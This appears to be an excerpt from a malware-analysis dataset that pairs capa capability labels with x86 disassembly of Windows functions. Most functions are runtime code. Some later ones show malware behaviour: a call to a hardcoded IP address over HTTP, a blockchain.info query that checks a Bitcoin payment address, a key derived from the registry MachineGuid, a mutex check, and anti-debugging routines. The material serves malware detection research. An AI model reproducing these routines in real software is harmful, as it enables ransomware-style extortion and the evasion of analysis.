joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4f0afb
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x534a30]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4f0b41
cmp word [ebx], dx
jne 0x4f0b41
or byte [eax + edi + 0x28], 4
jmp 0x4f0b46
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x4f0ca9
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x4f0c89
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x4f0b87
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4f0bbd
cmp eax, edx
jae 0x4f0bcb
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x4f0b62
jmp 0x4f0ca9
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4f0c84
cmp dword [ebp - 0x18], 0
je 0x4f0c84
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x534a30]
test byte [eax + edi + 0x28], 0x48
je 0x4f0c5a
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x4f0c1e
mov word [esi], cx
jmp 0x4f0c55
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x534a30]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x534a30]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x534a30]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x4f0ca9
pop eax
cmp word [ebp - 4], ax
jne 0x4f0c6a
cmp esi, ebx
jne 0x4f0c6a
mov word [esi], ax
jmp 0x4f0ca6
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.004eaabd
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x4f0ca9
push 0xd
pop eax
jmp 0x4f0c65
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x534a30]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x4f0ca3
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x4f0ca9
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4f3cf7
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x50fac8
push 0x50fac0
push str.FlsAlloc
push 0x1f
call fcn.004f3b62
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4f3d2b
push dword [ebp + 8]
mov ecx, esi
call dword [0x50b388]
call esi
jmp 0x4f3d31
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4f3d75
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x50fad8
push 0x50fad0
push str.FlsGetValue
push 0x21
call fcn.004f3b62
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4f3dac
push dword [ebp + 8]
mov ecx, esi
call dword [0x50b388]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4f3db4
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x50fae0
push 0x50fad8
push str.FlsSetValue
push 0x22
call fcn.004f3b62
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4f3dee
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x50b388]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x4f714c
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.004f70c8
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x4f72bb
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x4f72bb
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x4f7270
jg 0x4f71a8
test eax, eax
je 0x4f7266
push 1
push 0x1000
call fcn.004f2d73
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x4f71cb
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x4f725d
push 0x8000
push ebx
call fcn.004ef11d
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x4f71f4
jg 0x4f71ef
cmp ecx, 0x1000
jb 0x4f71f4
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.004f1e1c
add esp, 0x10
cmp eax, 0xffffffff
je 0x4f7239
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x4f71ef
jl 0x4f7220
test ecx, ecx
jne 0x4f71e1
push dword [ebp - 0xc]
push ebx
call fcn.004ef11d
push esi
call fcn.004f3733
add esp, 0xc
xor ebx, ebx
jmp 0x4f72c9
cmp byte [edi + 0x24], 0
je 0x4f7250
cmp dword [edi + 0x20], 5
jne 0x4f7250
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x4f725b
mov ebx, dword [edi + 0x18]
jmp 0x4f725d
xor ebx, ebx
push esi
call fcn.004f3733
pop ecx
jmp 0x4f72c9
test ecx, ecx
jg 0x4f7232
jl 0x4f7270
test eax, eax
jae 0x4f7232
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004eaabd
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x4f7290
cmp byte [edi + 0x1c], 0
je 0x4f7232
jmp 0x4f72c1
push ebx
call fcn.004f705e
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x4f7232
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x4f72c9
cmp byte [edi + 0x1c], 0
je 0x4f72c6
mov ebx, dword [edi + 0x18]
jmp 0x4f72c9
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.004eaabd
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4fa471
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x4fa50e
push ebx
push esi
call fcn.004fa43a
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.004f7373
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x4fa4bb
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4fa50d
push edi
push eax
call fcn.004f37ad
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4fa4db
call fcn.004f3733
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4fa50c
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.004f7373
add esp, 0x20
test eax, eax
jne 0x4fa4fa
push edi
call fcn.004f3733
jmp 0x4fa502
push ebx
call fcn.004f3733
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x4fa511
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x4fa522
pop esi
ret
push ebx
push edi
push esi
call fcn.004fa43a
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.004f37ad
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4fa54a
push ebx
push esi
push edi
call fcn.004dd8f0
add esp, 0xc
push 0
call fcn.004f3733
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x4faca4
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004fa7bf

Function at 0x4fcedd
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.004f255b
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4fcf4c
cmp esi, dword [ebp - 4]
je 0x4fcf47
cmp dword [ebp + 0xc], 0
je 0x4fcf47
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x4fcf24
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.004fca2f
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x4fcf4e
xor eax, eax
inc eax
jmp 0x4fcf4e
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x4fcfb3
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x532048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.004f255b
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.004f255b
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x4fd02a
cmp word [ecx], dx
je 0x4fd02a
mov eax, dword [0x51040c]
push edi
dec eax
push eax
push 0x5102f8
call fcn.004fcf52
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x4fd09d
cmp word [eax], dx
je 0x4fd09d
mov eax, dword [edi]
test eax, eax
je 0x4fd04e
cmp word [eax], dx
je 0x4fd04e
lea eax, [ebp - 0x10]
push eax
call fcn.004fc935
jmp 0x4fd057
lea eax, [ebp - 0x10]
push eax
call fcn.004fc9d0
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x4fd0c7
mov eax, dword [0x5102f4]
push dword [ebp - 0x14]
dec eax
push eax
push 0x50ffe8
call fcn.004fcf52
add esp, 0xc
test al, al
je 0x4fd0c7
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x4fd092
cmp word [eax], di
je 0x4fd092
lea eax, [ebp - 0x10]
push eax
call fcn.004fc935
pop ecx
jmp 0x4fd0c9
lea eax, [ebp - 0x10]
push eax
call fcn.004fc9d0
jmp 0x4fd08f
mov eax, dword [edi]
test eax, eax
je 0x4fd0b4
cmp word [eax], dx
je 0x4fd0b4
lea eax, [ebp - 0x10]
push eax
call fcn.004fc8ea
pop ecx
jmp 0x4fd0c7
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x4fd192
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.004fcdd7
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x4fd192
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x4fd192
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x4fd192
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x4fd11f
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.004f3f90
test ebx, ebx
je 0x4fd18d
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.004f3f90
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4fd192
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4fd192
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.005008f9
add esp, 0x10
xor eax, eax
inc eax
jmp 0x4fd194
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004dc235
leave
ret
Function at 0x501360
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x50138d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x50138d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x41d080
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x45600c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x66
call fcn.00426b9d
push 0x32
mov esi, eax
lea eax, [ebp - 0x38]
push 0
push eax
call fcn.00429e30
add esp, 0x10
push 0
push 0
push 0
push 0
push str.Internet_Explorer
call dword [sym.imp.WININET.dll_InternetOpenW]
push 0
push 0
push 0
push 0
push str.http:__91.121.11.97_SLAKdfngmaEirhegjk5gihf4j05op4j6g5f4_SAEgemgokf4mg5oknmf1.php
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
test eax, eax
je 0x41d108
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0
push ecx
push 0x28
lea ecx, [ebp - 0x38]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
push 0x28
lea eax, [ebp - 0x38]
push eax
push esi
call fcn.0042f405
add esp, 0xc
mov ecx, esi
call fcn.0041d140
cmp eax, 3
jne 0x41d122
mov ecx, dword [0x45a1c0]
mov edx, esi
sub edx, ecx
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x41d112
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0042654c
mov esp, ebp
pop ebp
ret
Function at 0x41d140
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
mov eax, dword [0x45600c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x32
lea eax, [ebp - 0x38]
mov ebx, ecx
push 0
push eax
call fcn.00429e30
add esp, 0xc
push 0
push 0
push 0
push 0
push str.Internet_Explorer
call dword [sym.imp.WININET.dll_InternetOpenW]
movups xmm0, xmmword [str.https:__blockchain.info_q_getreceivedbyaddress_]
push 0xcc
mov dword [ebp - 0x168], eax
lea eax, [ebp - 0x104]
movups xmmword [ebp - 0x164], xmm0
push 0
movups xmm0, xmmword [0x450358]
push eax
movups xmmword [ebp - 0x154], xmm0
movups xmm0, xmmword [0x450368]
movups xmmword [ebp - 0x144], xmm0
movups xmm0, xmmword [0x450378]
movups xmmword [ebp - 0x134], xmm0
movups xmm0, xmmword [0x450388]
movups xmmword [ebp - 0x124], xmm0
movups xmm0, xmmword [0x450398]
movups xmmword [ebp - 0x114], xmm0
call fcn.00429e30
add esp, 0xc
mov esi, ebx
nop dword [eax]
mov ax, word [ebx]
add ebx, 2
test ax, ax
jne 0x41d1f0
lea edi, [ebp - 0x164]
sub ebx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x41d206
mov ecx, ebx
lea eax, [ebp - 0x164]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 0
push 0
mov ecx, ebx
push eax
push dword [ebp - 0x168]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
pop edi
pop esi
pop ebx
test eax, eax
jne 0x41d255
mov eax, 2
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042654c
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x168]
mov dword [ebp - 0x168], 0
push ecx
push 0x32
lea ecx, [ebp - 0x38]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x38]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41d280
sub ecx, edx
cmp ecx, 0xf
jbe 0x41d2a1
mov eax, 3
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042654c
mov esp, ebp
pop ebp
ret
cmp ecx, 2
jb 0x41d2e5
mov eax, dword [ebp - 0x38]
cmp ecx, 8
jb 0x41d2ce
cmp al, 0x35
jne 0x41d2c5
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042654c
mov esp, ebp
pop ebp
ret
cmp ecx, 8
jb 0x41d2ce
cmp al, 0x33
je 0x41d2d2
cmp al, 0x32
jne 0x41d2e5
mov eax, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042654c
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.0042654c
mov esp, ebp
pop ebp
ret
Function at 0x41d590
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4439a5
mov eax, dword fs:[0]
push eax
sub esp, 0x90
mov eax, dword [0x45600c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x94], edi
mov dword [ebp - 0x9c], edi
mov dword [ebp - 0x98], 0
mov dword [ebp - 4], 1
xor eax, eax
push 0xffffffffffffffff
push eax
mov word [ebp - 0x8c], ax
lea ecx, [ebp - 0x8c]
lea eax, [ebp + 8]
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0
push eax
mov dword [ebp - 0x78], 7
mov dword [ebp - 0x7c], 0
call fcn.004226b0
mov byte [ebp - 4], 2
mov ecx, 0x45a1c4
push 0
push 0x44d564
call fcn.004225f0
push 2
mov dword [ebp - 0x94], 0x64
call fcn.0042658e
add esp, 4
lea eax, [ebp - 0x90]
push eax
push 0x20119
push 0
push str.SOFTWAREMicrosoftCryptography
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41d67f
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x74]
push eax
push 0
push 0
push str.MachineGuid
push dword [ebp - 0x90]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x90]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ebx, ebx
cmp dword [ebp - 0x7c], ebx
jbe 0x41d6e5
lea ecx, [ebp - 0x74]
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x41d6a0
sub ecx, edx
lea esi, [ebp - 0x8c]
sar ecx, 1
mov eax, ebx
cmp dword [ebp - 0x78], 8
cmovae esi, dword [ebp - 0x8c]
xor edx, edx
div ecx
mov ecx, 0x45a1c4
mov ax, word [ebp + edx*2 - 0x74]
xor ax, word [esi + ebx*2]
movzx eax, ax
push eax
push 1
call fcn.00422790
inc ebx
cmp ebx, dword [ebp - 0x7c]
jb 0x41d692
xor eax, eax
mov dword [edi + 0x14], 7
push 0xffffffffffffffff
push eax
mov dword [edi + 0x10], 0
mov ecx, edi
push 0x45a1c4
mov word [edi], ax
call fcn.004226b0
mov dword [ebp - 0x98], 1
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x78]
cmp eax, 8
jb 0x41d730
inc eax
lea ecx, [ebp - 0x8c]
push eax
push dword [ebp - 0x8c]
call fcn.00423bf0
xor eax, eax
mov dword [ebp - 0x78], 7
mov dword [ebp - 0x7c], 0
mov word [ebp - 0x8c], ax
mov byte [ebp - 4], al
mov eax, dword [ebp + 0x1c]
cmp eax, 8
jb 0x41d75f
inc eax
lea ecx, [ebp + 8]
push eax
push dword [ebp + 8]
call fcn.00423bf0
xor eax, eax
mov dword [ebp + 0x1c], 7
mov dword [ebp + 0x18], 0
mov word [ebp + 8], ax
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042654c
mov esp, ebp
pop ebp
ret
Function at 0x41e4e0
Capabilities:
Check for debugger via api
Check for peb beingdebugged flag
Check for peb ntglobalflag flag
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push str.system_nt.exe
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x41e59d
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x41e569
cmp dword [ebp - 8], eax
jne 0x41e569
mov byte [ebp - 1], al
mov eax, dword fs:[0x30]
mov al, byte [eax + 2]
mov byte [ebp - 1], al
mov dword [ebp - 0xc], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0x68]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 8], 0
jne 0x41e55c
test byte [ebp - 0xc], 0x70
je 0x41e598
call fcn.0041e4b0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov esi, eax
push 1
push esi
call dword [sym.imp.GDI32.dll_SetLayout]
push 0
push 1
push 1
push 0xffffffffffffffff
push 0x80000000
push esi
call dword [sym.imp.GDI32.dll_ScaleWindowExtEx]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
mov esp, ebp
pop ebp
ret
push 1
call fcn.0042f6ed
int3
Function at 0x41e5b0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
mov eax, dword [0x45600c]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
xorps xmm0, xmm0
push 0x114
push eax
mov word [ebp - 0x24], ax
mov dword [ebp - 0xa], eax
lea eax, [ebp - 0x148]
push eax
movups xmmword [ebp - 0x22], xmm0
movq qword [ebp - 0x12], xmm0
call fcn.00429e30
add esp, 0xc
mov dword [ebp - 0x148], 0x114
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov eax, dword [ebp - 0x144]
cmp eax, 5
jne 0x41e62a
xor ecx, ecx
movzx eax, word [ecx + 0x450744]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x26], ax
test ax, ax
jne 0x41e611
jmp 0x41e6d4
cmp eax, 6
jne 0x41e6b6
mov eax, dword [ebp - 0x140]
test eax, eax
jne 0x41e659
xor ecx, ecx
nop
movzx eax, word [ecx + str.VISTA]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x26], ax
test ax, ax
jne 0x41e640
jmp 0x41e6d4
cmp eax, 1
jne 0x41e676
xor ecx, ecx
movzx eax, word [ecx + 0x45075c]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x26], ax
test ax, ax
jne 0x41e660
jmp 0x41e6d4
cmp eax, 2
jne 0x41e696
xor ecx, ecx
nop dword [eax]
movzx eax, word [ecx + 0x450764]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x26], ax
test ax, ax
jne 0x41e680
jmp 0x41e6d4
cmp eax, 3
jne 0x41e6d4
xor ecx, ecx
nop dword [eax]
movzx eax, word [ecx + str.8.1]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x26], ax
test ax, ax
jne 0x41e6a0
jmp 0x41e6d4
cmp eax, 0xa
jne 0x41e6d4
xor ecx, ecx
nop dword [eax]
movzx eax, word [ecx + 0x450778]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x26], ax
test ax, ax
jne 0x41e6c0
push esi
xor eax, eax
xorps xmm0, xmm0
push edi
mov word [ebp - 0x34], ax
mov dword [ebp - 0x2a], eax
lea eax, [ebp - 0x34]
push 0xa
push eax
push dword [ebp - 0x13c]
movq qword [ebp - 0x32], xmm0
call fcn.0042e8b9
lea edx, [ebp - 0x34]
add esp, 0xc
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x41e700
lea edi, [ebp - 0x24]
sub edx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x41e713
mov ecx, edx
lea eax, [ebp - 0x24]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0042654c
mov esp, ebp
pop ebp
ret